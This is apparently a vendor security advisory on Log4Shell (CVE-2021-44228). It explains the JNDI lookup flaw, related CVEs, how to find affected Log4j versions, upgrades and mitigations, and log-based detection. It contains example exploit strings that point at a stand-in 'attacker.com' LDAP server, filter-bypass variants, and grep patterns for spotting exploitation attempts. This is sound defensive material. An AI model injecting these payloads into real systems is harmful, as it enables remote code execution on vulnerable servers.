Log4Shell (CVE-2021-44228) is a critical remote code execution vulnerability in Apache Log4j 2, one of the most widely used Java logging libraries. Discovered in December 2021, it affects an enormous portion of the Java ecosystem — from enterprise applications to cloud services, embedded systems, and consumer software.
The vulnerability was rated CVSS 10.0 — the maximum possible severity — and allows unauthenticated attackers to execute arbitrary code on vulnerable systems with minimal effort.
What Is Log4Shell?
Log4j 2 introduced a feature called Message Lookup Substitution that processes special ${...} patterns embedded in logged strings. This includes ${jndi:...} lookups — which trigger JNDI (Java Naming and Directory Interface) requests to remote servers.
If an attacker can get a string like ${jndi:ldap://attacker.com/a} into any log message, the Log4j library automatically reaches out to the attacker’s LDAP server and executes whatever Java class is returned.
The attack surface is essentially unlimited: HTTP headers, user-agent strings, form fields, usernames, search queries — anything your application logs.
How the Exploit Works
1. Attacker sends HTTP request with malicious payload in User-Agent:
User-Agent: ${jndi:ldap://attacker.com/exploit}
2. Application logs the User-Agent string (normal behavior):
logger.info("Request from: " + request.getHeader("User-Agent"));
3. Log4j processes the ${jndi:...} lookup and connects to attacker.com:443
4. Attacker's LDAP server returns a reference to a malicious Java class
5. Log4j deserializes and executes the class — attacker has RCE
The exploit requires no authentication, no existing foothold, and works even when the logged value is deeply nested — ${${lower:j}ndi:...} bypasses naive string-matching filters.
CVE Timeline
| CVE | CVSS | Description |
|---|---|---|
| CVE-2021-44228 (Log4Shell) | 10.0 | JNDI lookup RCE in Log4j 2.0-beta9 to 2.14.1 |
| CVE-2021-45046 | 9.0 | Incomplete fix in 2.15.0 — context lookup bypass |
| CVE-2021-45105 | 7.5 | DoS via infinite recursion in lookup |
| CVE-2021-44832 | 6.6 | RCE via attacker-controlled JDBC appender config |
Am I Affected?
You are potentially affected if your application:
- Uses Java
- Uses Log4j 2 (any version from 2.0-beta9 to 2.17.0 is vulnerable to at least one CVE)
- Logs any string that could contain user-controlled data
Log4j 1.x is not affected by Log4Shell but has its own critical vulnerabilities (CVE-2019-17571, CVE-2022-23302) and has reached end of life — migrate away from it.
Finding Log4j in Your Project
# Maven
mvn dependency:tree | grep log4j
# Gradle
gradle dependencies | grep log4j
# Search JAR files in your application directory
find /opt/app -name "*.jar" -exec unzip -p {} META-INF/MANIFEST.MF \; 2>/dev/null | grep -i log4j
# Check for log4j JARs directly
find / -name "log4j-core-*.jar" 2>/dev/null
# Inside fat JARs (Spring Boot, etc.)
jar tf your-app.jar | grep log4j
Finding Log4j in Dependencies (Indirect)
Many applications include Log4j transitively through frameworks like Spring, Hibernate, Elasticsearch, or Apache Solr. Run a full dependency scan:
# Using OWASP Dependency Check
dependency-check --project "MyApp" --scan . --out ./report
# Using Syft + Grype
syft . | grype
Remediation Steps
Step 1: Upgrade Log4j (Primary Fix)
Upgrade to Log4j 2.17.1 or later (2.12.4 for Java 7, 2.3.2 for Java 6).
<!-- Maven — pom.xml -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.1</version> <!-- Latest stable as of 2026 -->
</dependency>
// Gradle — build.gradle
dependencies {
implementation 'org.apache.logging.log4j:log4j-core:2.23.1'
}
// Force override transitive dependency versions
configurations.all {
resolutionStrategy.force 'org.apache.logging.log4j:log4j-core:2.23.1'
}
Step 2: If You Cannot Upgrade Immediately
For Log4j 2.10 and above — set the system property to disable message lookup:
# Add JVM flag
-Dlog4j2.formatMsgNoLookups=true
# Or set environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
For all versions — remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note: These are mitigations, not fixes. Upgrade as soon as possible.
Step 3: Check Transitive Dependencies
If Log4j is pulled in by a framework, force an upgrade:
<!-- Maven — force log4j version in dependencyManagement -->
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.23.1</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
Step 4: Verify the Fix
// Test that the JNDI lookup no longer executes
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4ShellTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// If vulnerable, this would reach out to example.com
// After patching, it should log the literal string
logger.info("${jndi:ldap://example.com/test}");
System.out.println("If you see the literal string above in logs, you're patched.");
}
}
Detection: Were You Exploited?
Check your logs for evidence of exploitation attempts:
# Search for JNDI lookup patterns in application logs
grep -r "\${jndi:" /var/log/
grep -r "\${.*jndi" /var/log/ # Obfuscated variants
# Common obfuscation patterns to look for
# ${${lower:j}ndi:...}
# ${${::-j}${::-n}${::-d}${::-i}:...}
# %24%7Bjndi%3A (URL-encoded)
# Check for suspicious outbound connections during Dec 2021 - present
grep -E "ldap[s]?://|rmi://|dns://" /var/log/nginx/access.log
Also check for:
- Unexpected outbound LDAP (port 389/636) or RMI (port 1099) connections in firewall logs
- New processes spawned by your Java application (netcat, wget, curl, bash)
- New cron jobs, SSH keys, or user accounts created around the time of the vulnerability disclosure
Long-Term Prevention
Add SAST/SCA to Your CI/CD Pipeline
Log4Shell was a known CVE in a public library. Automated dependency scanning would have flagged it immediately when it was disclosed:
# GitHub Actions — run OWASP Dependency Check on every PR
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'MyApp'
path: '.'
format: 'HTML'
args: '--failOnCVSS 7'
Monitor for New CVEs
Subscribe to security advisories for your dependencies:
- GitHub Dependabot — automated PRs for vulnerable dependencies
- NIST NVD alerts for Java libraries you use
- Apache Security Advisories — directly from the Log4j maintainers
Defense in Depth
Even if a Log4Shell-style vulnerability existed today, these controls would limit the blast radius:
- Outbound network filtering — block unexpected LDAP/RMI outbound connections
- Least privilege — application should not run as root; limit what an attacker can do with RCE
- Runtime Application Self-Protection (RASP) — block JNDI execution at runtime
- WAF rules — block
${jndi:in all incoming request data (not a substitute for patching)
Offensive360’s SCA scanning detects Log4j and thousands of other vulnerable dependencies in your codebase. Run a scan today to check your current exposure.